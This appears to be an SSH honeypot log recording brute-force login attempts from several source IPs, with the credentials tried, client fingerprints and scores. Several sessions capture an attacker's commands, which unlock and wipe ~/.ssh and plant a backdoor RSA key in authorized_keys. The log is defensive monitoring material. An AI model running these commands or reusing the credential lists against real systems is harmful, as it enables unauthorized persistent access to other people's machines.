  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "k8s",
      "pass": "12345678"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:07:00.150129 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: iran

Record ID: 5b9e1755848b

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "5b9e1755848b",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:07:00.150129Z",
  "end_time": "2026-07-09T17:07:02.402773Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "iran",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:04:40.971500 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: appserver

Record ID: d300df4f23e9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d300df4f23e9",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:04:40.971500Z",
  "end_time": "2026-07-09T17:04:43.243666Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "appserver",
      "pass": "appserver"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

193.24.211.107

2026-07-09 17:02:35.742781 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: zimbra

Record ID: 705e0ef40b45

Client Version: SSH-2.0-libssh2_1.11.0

Engagement Duration: 2.0s

HASSH Fingerprint: 14b2ddda386a4d1006108ccd231b42fc

{
  "id": "705e0ef40b45",
  "src_ip": "193.24.211.107",
  "start_time": "2026-07-09T17:02:35.742781Z",
  "end_time": "2026-07-09T17:02:37.770935Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh2_1.11.0",
  "hassh": "14b2ddda386a4d1006108ccd231b42fc",
  "attempts": [
    {
      "user": "zimbra",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:02:30.785030 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 2942b5e07bfc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "2942b5e07bfc",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:02:30.785030Z",
  "end_time": "2026-07-09T17:02:32.029872Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:02:28.348689 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 971c1bf57773

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "971c1bf57773",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:02:28.348689Z",
  "end_time": "2026-07-09T17:02:30.588128Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:02:25.769586 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Darya123456

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 44e62d7bffcc

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "44e62d7bffcc",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:02:25.769586Z",
  "end_time": "2026-07-09T17:02:32.025824Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Darya123456"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:00:15.033594 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 0d1752f6e1f7

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0d1752f6e1f7",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:00:15.033594Z",
  "end_time": "2026-07-09T17:00:16.256409Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:00:12.589441 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: d2584f0d95e9

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d2584f0d95e9",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:00:12.589441Z",
  "end_time": "2026-07-09T17:00:14.840832Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 17:00:09.985954 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / Server2008

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ca22ea413851

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ca22ea413851",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T17:00:09.985954Z",
  "end_time": "2026-07-09T17:00:16.253545Z",
  "duration": "6.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Server2008"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:57:56.234336 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 6648d108253c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "6648d108253c",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:57:56.234336Z",
  "end_time": "2026-07-09T16:57:57.457990Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:57:53.769897 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: df0ccf4c6f03

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "df0ccf4c6f03",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:57:53.769897Z",
  "end_time": "2026-07-09T16:57:56.046119Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:57:51.234291 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / QWER@1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 055f548b2a2f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "055f548b2a2f",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:57:51.234291Z",
  "end_time": "2026-07-09T16:57:57.461341Z",
  "duration": "6.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "QWER@1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:55:47.608373 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: deploy / 3245gs5662d34

Record ID: 65cc8596b176

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "65cc8596b176",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:55:47.608373Z",
  "end_time": "2026-07-09T16:55:48.843709Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:55:45.197206 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 3a8407a62433

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "3a8407a62433",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:55:45.197206Z",
  "end_time": "2026-07-09T16:55:47.411981Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:55:42.670964 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: deploy / qwe123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: fe72faae7717

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "fe72faae7717",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:55:42.670964Z",
  "end_time": "2026-07-09T16:55:48.839645Z",
  "duration": "6.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "qwe123"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

176.53.159.196

2026-07-09 16:54:17.710178 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 8bda6e3eac35

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "8bda6e3eac35",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-09T16:54:17.710178Z",
  "end_time": "2026-07-09T16:54:18.898768Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

113.172.40.156

2026-07-09 16:53:37.967752 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 30861431b9f5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "30861431b9f5",
  "src_ip": "113.172.40.156",
  "start_time": "2026-07-09T16:53:37.967752Z",
  "end_time": "2026-07-09T16:53:39.214895Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}